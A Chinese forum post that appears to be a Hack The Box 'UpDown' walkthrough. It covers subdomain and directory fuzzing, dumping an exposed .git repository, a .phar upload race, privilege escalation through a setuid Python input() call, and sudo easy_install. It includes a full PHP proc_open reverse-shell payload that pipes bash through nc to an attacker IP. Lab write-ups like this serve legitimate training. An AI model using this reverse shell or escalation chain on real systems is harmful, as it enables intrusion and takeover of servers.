首页
社区
课程
招聘
[原创]HTB UpDown (MEDIUM)
发表于: 2022-12-20 19:29 1113

[原创]HTB UpDown (MEDIUM)

2022-12-20 19:29
1113

参考链接:https://systemweakness.com/hack-the-box-htb-updown-walkthrough-940cf677cdc
上来还是先扫端口

图片描述
只开了22和80
图片描述
它是个检查网站是打开还是关闭的网站
图片描述
把siteisup.htb写进 /etc/hosts
跑一下子域名

发现dev,添加到/etc/hosts
图片描述
直接访问http://dev.siteisup.htb/会发现403
图片描述
扫一下目录

图片描述
以看到有几个值得注意的目录,包括/dev、/index.php 和/index.php/login
再次使用工具 dirsearch枚举下siteisup.htb/dev
图片描述
发现可访问的http://10.10.11.177/dev/.git/
图片描述
我们可以使用工具 git-dumper 转储 git 存储库
git-dumper参考
https://www.freebuf.com/articles/network/332439.html

图片描述
使用GitKraken打开
下载地址:https://www.jianshu.com/p/bffa58b82333
图片描述
翻到一次更新,可以看到服务器有一个安全功能,需要标头“Special-Dev: only4dev”才能访问开发者站点
Special-Dev: only4dev
图片描述
图片描述
成功登录,这个网站可以上传文件,进行网站状态批量查询
图片描述
再去看看网站代码,代码中有个checker.php
上传文件后,代码会执行以下步骤:要求文件小于10kb,检查不允许的文件扩展名,创建目录,上传文件,检查文件中找到的网站是否可用,然后从服务器中删除该文件
图片描述
上传文件会在 /uploads 中创建一个文件夹,该文件夹采用上传时的 md5 哈希名称。它没有过滤掉.phar文件。
为了完成攻击,从文件上传到系统删除它,我们需要争取一些时间。向站点提供一长串要运行的URL。
上传完payload后可以在uploads目录下看到,点击该文件执行代码
图片描述
图片描述
图片描述
可以看到代码执行成功
图片描述
不能使用一些经常用于制作反向 shell 的函数,例如 shell_exec()、popen() 和 fsockopen()。但是不包括函数 proc_open。
图片描述
图片描述
在网站上生成一个shellcode
https://www.revshells.com/
图片描述
完整代码为
图片描述

开启本地监听,上传文件并执行
nc -nvlp 9001
图片描述
whoami发现我们以 www-data 身份登录。看一下/etc/passwd文件夹可以看到存在developer用户
图片描述
我们没有获取flag的权限
图片描述
文件siteisup 有一个 setUID 位,运行可执行文件时,它会将权限设置为创建可执行文件的用户(即所有者)的权限,而不是将其设置为启动它的用户。当我们运行可执行文件时,将继承开发者用户的权限。
图片描述
用strings查看下文件
图片描述
它看起来像是对 python 脚本的执行调用。
cat siteisup_test.py 再看看使用的python脚本
图片描述
input() 函数在这里对我们很有用,因为我们可以使用它来执行代码并检索开发人员用户的 SSH 密钥。现在我们将运行可执行文件,在出现提示时添加以下内容

图片描述
保存文件后给权限,连接拿到user flag
图片描述
图片描述
使用 sudo -l 查看我们可以作为开发人员运行的内容
我们可以运行 usr/local/bin/easy_install
https://gtfobins.github.io/gtfobins/easy_install/
网站中向我们展示了一种使用 easy_install 程序来提升权限的方法
执行以下命令

图片描述
获得root权限

rustscan 10.10.11.177
rustscan 10.10.11.177
ffuf -u http://siteisup.htb/FUZZ -w wordlist/data/manual/2m-subdomains.txt
ffuf -u http://siteisup.htb/FUZZ -w wordlist/data/manual/2m-subdomains.txt
dirsearch -10.10.11.177
dirsearch -10.10.11.177
python git_dumper.py http://10.10.11.177/dev/.git/ ~/siteup
python git_dumper.py http://10.10.11.177/dev/.git/ ~/siteup
<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
 
$cwd = '/tmp';
$env = array('some_option' => 'aeiou');
 
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
 
if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt
 
    fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.8 9001 >/tmp/f');
    fclose($pipes[0]);
 
    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
 
    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);
 
    echo "command returned $return_value\n";
}
?>
<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
 
$cwd = '/tmp';
$env = array('some_option' => 'aeiou');
 
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
 
if (is_resource($process)) {
    // $pipes now looks like this:

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-12-29 14:27 被hml189编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//